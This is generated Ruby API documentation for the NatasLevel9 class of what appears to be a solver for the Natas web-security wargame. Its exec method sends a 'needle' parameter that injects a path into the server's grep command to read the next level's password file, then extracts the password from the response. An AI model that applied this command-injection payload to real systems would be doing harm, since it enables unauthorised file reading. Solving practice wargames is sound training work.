Class: NatasLevel9

Inherits:
NatasLevelBase show all
Defined in:
lib/natas.rb

Overview

Level 9

Constant Summary collapse

LEVEL =
9

Constants inherited from NatasLevelBase

NatasLevelBase::HOST, NatasLevelBase::LOGIN, NatasLevelBase::PASSWORD_LENGTH, NatasLevelBase::PORT, NatasLevelBase::WEBPASS

Instance Attribute Summary

Attributes inherited from NatasLevelBase

#login, #password

Instance Method Summary collapse

Methods inherited from NatasLevelBase

#get, #initialize, #level, #post

Constructor Details

This class inherits a constructor from NatasLevelBase

Instance Method Details

#execObject



298
299
300
301
302
303
304
305
306
307
308
309
# File 'lib/natas.rb', line 298

def exec
  data = get(
    "/?#{URI.encode_www_form(
      {
        'needle' => "'' #{WEBPASS}/natas10;"
      }
    )}"
  ).body
  match = %r(Output:\n<pre>\n(\w{32})\n</pre>).match(data)
  not_found unless match
  found(match[1])
end